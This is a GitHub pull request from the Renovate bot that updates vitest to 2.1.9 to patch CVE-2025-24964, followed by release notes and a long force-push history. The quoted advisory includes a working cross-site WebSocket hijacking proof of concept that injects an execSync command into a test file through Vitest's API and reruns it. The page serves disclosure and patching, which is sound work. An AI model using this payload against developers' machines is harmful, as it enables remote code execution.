Skip to content

chore(deps): update dependency vitest to v2.1.9 [security] - #120

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v2.1.9 [security]#120
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 7, 2025

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
vitest (source)2.0.52.1.9ageconfidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flattedconstFlatted=function(n){"use strict";functiont(n){returnt="function"==typeofSymbol&&"symbol"==typeofSymbol.iterator?function(n){returntypeofn}:function(n){returnn&&"function"==typeofSymbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeofn},t(n)}varr=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){returnt},l=function(n){returnninstanceofu?u(n):n},s=function(n,r){returnt(r)===f?newu(r):r},y=functionn(r,e,f,a){for(varl=[],s=o(f),y=s.length,p=0;p<y;p++){varv=s[p],S=f[v];if(Sinstanceofu){varb=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}elsef[v]!==i&&(f[v]=a.call(f,v,S))}for(varm=l.length,g=0;g<m;g++){varh=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}returnf},p=function(n,t,r){vare=u(t.push(r)-1);returnn.set(r,e),e},v=function(n,e){varo=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,newSet,u,f):u;returnf.call({"":i},"",i)},S=function(n,r,o){for(varu=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void0}:r||a,i=newMap,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";functionS(n,r){if(v)returnv=!v,r;vare=u.call(this,n,r);switch(t(e)){casec:if(null===e)returne;casef:returni.get(e)||p(i,l,e)}returne}};returnn.fromJSON=function(n){returnv(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){returnr(S(n))},n}({});// actual code to runconstws=newWebSocket('ws://localhost:51204/__vitest_api__')ws.addEventListener('message',e=>{console.log(e.data)})ws.addEventListener('open',()=>{ws.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "getFiles",a: []}))consttestFilePath="/path/to/test-file/basic.test.ts"// use a test file returned from the response of "getFiles"// edit file content to inject command executionws.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "saveTestFile",a: [testFilePath,"import child_process from 'child_process';child_process.execSync('calc')"]}))// rerun the tests to run the injected command execution codews.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "rerun",a: [testFilePath]}))})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

🐞 Bug Fixes
View changes on GitHub

v2.1.8

Compare Source

🐞 Bug Fixes
View changes on GitHub

v2.1.7

Compare Source

🐞 Bug Fixes
  • Revert support for Vite 6 - by @​sheremet-va(fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
View changes on GitHub

v2.1.5

Compare Source

🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v2.1.4

Compare Source

🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v2.1.3

Compare Source

🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v2.1.2

Compare Source

🐞 Bug Fixes
View changes on GitHub

v2.1.1

Compare Source

🐞 Bug Fixes
View changes on GitHub

v2.1.0

Compare Source

This release makes another big change to the Browser Mode by introducing locators API:

test('renders blog posts',async()=>{constscreen=page.render(<Blog/>)awaitexpect.element(screen.getByRole('heading',{name: 'Blog'})).toBeInTheDocument()const[firstPost]=screen.getByRole('listitem').all()awaitfirstPost.getByRole('button',{name: 'Delete'}).click()expect(screen.getByRole('listitem').all()).toHaveLength(3)})

You can use either vitest-browser-vue, vitest-browser-svelte or vitest-browser-react to render components and make assertions using locators. Locators are also available on the page object from @vitest/browser/context.

Potential Breaking Change
  • workspace:
    • Correctly resolve workspace globs and file paths - by @​sheremet-va in #​6316(afdcb)
    • This changes how the custom glob pattern in the workspace config is treated. Any file matching the glob is considered a Vitest config file. Any folder matching the glob pattern is treated as a workspace project and is subject to the regular config resolution (single vitest.config.ts or vite.config.ts inside the folder)
    • For example, projects/* will match anything inside the projects folder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config. projects/**/* previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.
    • This change doesn't affect non-glob usage.
🚀 Features
🐞 Bug Fixes
View changes on GitHub

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-botBot commented Feb 7, 2025

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: 4d57395

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from fecdfcc to a6e2c5cCompareFebruary 12, 2025 04:23
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from a6e2c5c to f270fe7CompareMarch 5, 2025 00:21
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 69eb08f to 5c92137CompareMarch 18, 2025 07:59
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 5c92137 to f3cc515CompareApril 2, 2025 20:19
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from f3cc515 to 29ecb7aCompareApril 26, 2025 00:05
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 29ecb7a to cecbf82CompareMay 24, 2025 11:58
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from f7b2869 to da1dd83CompareJune 6, 2025 19:00
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from da1dd83 to 21aa32eCompareJune 29, 2025 04:13
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 21aa32e to 8a44103CompareJuly 7, 2025 00:08
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 8a44103 to 4dee2edCompareAugust 13, 2025 23:46
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 4dee2ed to 213ce9aCompareAugust 23, 2025 11:05
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 213ce9a to 214988dCompareSeptember 1, 2025 04:32
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 214988d to 310f8c5CompareSeptember 26, 2025 11:52
@renovaterenovateBot changed the title fix(deps): update dependency vitest to v2.1.9 [security]chore(deps): update dependency vitest to v2.1.9 [security]Sep 26, 2025
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 310f8c5 to fc7bbe1CompareOctober 23, 2025 06:29
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 4869c4f to 63b2d7fCompareNovember 19, 2025 12:14
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from c22ab13 to f1a7d4eCompareJanuary 1, 2026 11:26
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from f1a7d4e to ccbec7cCompareJanuary 9, 2026 08:06
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 0984922 to 2cfc584CompareJanuary 24, 2026 04:04
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 2cfc584 to b7d1fdbCompareFebruary 3, 2026 04:17
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from b7d1fdb to fece9feCompareFebruary 13, 2026 23:54
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from fece9fe to 57657a1CompareFebruary 18, 2026 23:39
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 8e71ba6 to ff2b695CompareMarch 14, 2026 19:06
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from ff2b695 to 97f391dCompareApril 15, 2026 11:08
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 97f391d to 931f6c7CompareApril 30, 2026 03:10
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 931f6c7 to 82055d3CompareMay 13, 2026 02:59
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 82055d3 to d8ebd32CompareMay 23, 2026 04:01
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 8d47960 to ab65be9CompareJune 1, 2026 15:16
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from ab65be9 to 453902fCompareJune 13, 2026 04:04
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 453902f to c3f36b7CompareJuly 16, 2026 07:58
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from f1161d9 to 30250b2CompareJuly 29, 2026 07:55
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 30250b2 to 419b369CompareAugust 1, 2026 13:06
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 419b369 to 4d57395CompareAugust 15, 2026 11:10
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants